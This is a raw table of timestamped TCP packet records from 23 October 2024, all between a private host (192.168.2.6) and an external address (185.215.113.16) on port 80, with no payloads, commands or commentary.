Oct 23, 2024 17:51:41.062629938 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062648058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062654018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062664032 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062675953 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062679052 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062689066 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062700033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062709093 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062715054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062725067 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062736988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062737942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062743902 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062751055 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062760115 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062767982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062781096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062787056 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062792063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062803984 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062813044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062815905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062828064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062839031 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062840939 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062851906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062860966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062863111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062871933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062875986 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062887907 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062899113 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062899113 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062911987 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062922001 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062926054 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062939882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062941074 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062951088 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062964916 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062967062 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062975883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062988043 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.062989950 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.062999964 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063000917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063009977 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063023090 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063031912 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063043118 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063047886 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063056946 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063064098 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063071012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063081980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063091993 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063093901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063106060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063113928 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063117981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063127041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063129902 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063142061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063153982 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063158989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063164949 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063179016 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063179016 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063189030 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063199997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063200951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063210011 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063213110 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063219070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063225031 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063235044 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063241005 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063241005 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063247919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063258886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063271046 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063272953 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063283920 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063287020 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063297033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063308954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063312054 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063328028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063339949 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063347101 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063347101 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063352108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063364029 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063375950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063380003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063388109 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063399076 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063402891 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063412905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063416958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063425064 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063436985 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063435078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063448906 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063460112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063463926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063472033 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063483000 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063483953 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063494921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063498020 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063505888 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063518047 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063528061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063529968 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063544035 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063549042 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063556910 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063565969 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063569069 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063580990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063592911 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063601017 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063605070 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063616991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063621044 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063627958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.063632965 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063663006 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.063683033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.064594030 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.119541883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.119606018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.119610071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.119649887 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.119895935 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.119940996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.119950056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.119986057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120001078 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120032072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120039940 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120074034 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120090961 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120120049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120136023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120186090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120193005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120242119 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120243073 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120280981 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120291948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120332003 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120332003 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120368958 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120379925 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120417118 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120420933 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120455980 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120466948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120501041 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120507002 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120542049 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120549917 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120575905 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120585918 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120618105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120629072 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120672941 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120688915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120738983 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120743990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120790005 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120795965 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120848894 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120851994 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120901108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120934963 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120955944 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.120969057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.120979071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121002913 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121021986 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121036053 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121043921 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121073961 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121124029 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121129990 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121180058 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121181011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121217012 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121227980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121253967 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121270895 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121323109 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121325970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121375084 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121377945 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121411085 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121444941 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121470928 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121480942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121495962 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121532917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121539116 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121587992 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121612072 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121633053 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121640921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121690989 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121691942 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121736050 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121750116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121783018 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121834993 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121836901 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121887922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121922970 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121937990 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121952057 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.121973991 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.121999979 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122001886 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122036934 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122051954 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122071028 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122086048 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122104883 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122119904 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122138023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122152090 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122172117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122185946 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122205019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122219086 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122237921 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122253895 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122273922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122287035 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122308969 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122323990 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122343063 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122356892 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122376919 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122392893 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122405052 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122426033 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122437954 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122442007 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122482061 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122492075 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122525930 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122539997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122575045 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122581005 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122626066 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122632027 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122665882 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122682095 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122714996 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122715950 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122750998 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122756958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122801065 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122803926 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122838974 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122873068 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122894049 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122925043 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.122929096 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.122956991 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123008966 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123008966 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123043060 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123059034 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123078108 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123097897 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123112917 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123115063 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123147011 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123156071 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123181105 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123193026 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123224020 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123303890 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123353958 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123361111 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123394966 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123404980 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123430014 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123440981 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123462915 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123473883 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123496056 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123507977 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123533010 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123537064 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123567104 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123580933 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123600006 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123634100 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123656034 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123682022 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123716116 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123733997 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123749971 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123754025 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123784065 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123816013 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123831034 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123851061 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123857975 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123883009 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123895884 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123917103 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123924971 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123945951 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.123961926 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123989105 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.123999119 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124048948 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.124052048 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124100924 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.124104023 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124138117 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124152899 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.124171019 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124180079 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.124205112 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124239922 CEST	80	49868	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:41.124253988 CEST	49868	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:41.124273062 CEST	80	49868	185.215.113.16	192.168.2.6
